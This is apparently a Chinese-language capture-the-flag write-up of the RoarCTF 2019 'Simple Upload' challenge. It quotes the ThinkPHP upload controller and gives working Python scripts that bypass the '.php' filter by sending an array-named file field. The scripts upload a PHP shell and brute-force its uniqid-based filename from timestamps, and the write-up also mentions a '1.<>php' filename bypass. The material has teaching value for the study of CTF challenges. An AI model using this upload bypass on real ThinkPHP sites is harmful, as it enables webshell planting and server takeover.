web | [RoarCTF 2019]Simple Upload

这是一个文件上传的题目。

源代码如下：

<?php 
namespace Home\Controller; 

use Think\Controller; 

class IndexController extends Controller 
{ 
    public function index() 
    { 
        show_source(__FILE__); 
    } 
    public function upload() 
    { 
        $uploadFile = $_FILES['file'] ; 
         
        if (strstr(strtolower($uploadFile['name']), ".php") ) { 
            return false; 
        } 
         
        $upload = new \Think\Upload();// 实例化上传类 
        $upload->maxSize  = 4096 ;// 设置附件上传大小 
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型 
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录 
        $upload->savePath = '';// 设置附件上传子目录 
        $info = $upload->upload() ; 
        if(!$info) {// 上传错误提示错误信息 
          $this->error($upload->getError()); 
          return; 
        }else{// 上传成功 获取上传文件信息 
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ; 
          echo json_encode(array("url"=>$url,"success"=>1)); 
        } 
    } 
}

应该是thinkphp的文件上传漏洞。

https://www.cnblogs.com/20175211lyz/p/11729027.html

上述文章提到了，thinkphp的文件上传类并没有控制后缀名的东西，因此可以忽略对后缀名的控制。

所以真正要绕过的地方就是上面代码中对php后缀名的检测

因为thinkphp支持多文件上传，只要用数组就可以绕过strstr的检测。

但是却返回不了上传文件的名称。

因此只要在周边上传两个文件就可以缩小时间范围来找这个文件。

顺带一提thinkphp的文件上传路径：index.php/home/index/upload

上传exp:

import requests

proxy = {
'http':'127.0.0.1:8080',
'https':'127.0.0.1:8080'
}
url = "http://06fba31b-2461-4ac4-96cf-b33603172606.node3.buuoj.cn/index.php/home/index/upload"

file1 = {'file': open("1.txt", 'rb')}
file2 = {'file[]': open("1.php", 'rb')}

r = requests.post(url, files = file1, proxies = proxy)
print(r.text)
r = requests.post(url, files = file2, proxies = proxy)
print(r.text)
r = requests.post(url, files = file1, proxies = proxy)
print(r.text)

结果：

{"url":"\/Public\/Uploads\/2020-12-23\/5fe2faa14f69c.txt","success":1}
{"url":"\/Public\/Uploads\/","success":1}
{"url":"\/Public\/Uploads\/2020-12-23\/5fe2faa18ff07.txt","success":1}

范围就是两个中间了

完整exp如下：

import requests
import json
import time

proxy = {
'http':'127.0.0.1:8080',
'https':'127.0.0.1:8080'
}
url = "http://06fba31b-2461-4ac4-96cf-b33603172606.node3.buuoj.cn/index.php/home/index/upload"
url2 = "http://06fba31b-2461-4ac4-96cf-b33603172606.node3.buuoj.cn/Public/Uploads/2020-12-23/{}.php"

file1 = {'file': open("1.txt", 'rb')}
file2 = {'file[]': open("1.php", 'rb')}

# 上传
r = requests.post(url, files = file1, proxies = proxy)
print(r.text)
t1 = int(json.loads(r.text)['url'][-17:-4], 16)
r = requests.post(url, files = file2, proxies = proxy)
print(r.text)
r = requests.post(url, files = file1, proxies = proxy)
print(r.text)
t2 = int(json.loads(r.text)['url'][-17:-4], 16)
print(t1)
print(t2)

# 爆破木马文件名
for i in range(t1+1, t2):
    h = str(hex(i))[2:]
    u = url2.format(h)
    print(u)
    r = requests.get(u, proxies = proxy)
    if r.status_code == 200:
        print(u)
    elif r.status_code == 429:
        time.sleep(0.1)

        

第二种方法是上传文件名为 1.<>php

貌似是同样解析为1.php

但是上传成功直接给了flag

有点恐怖，应该是文件内容被改了。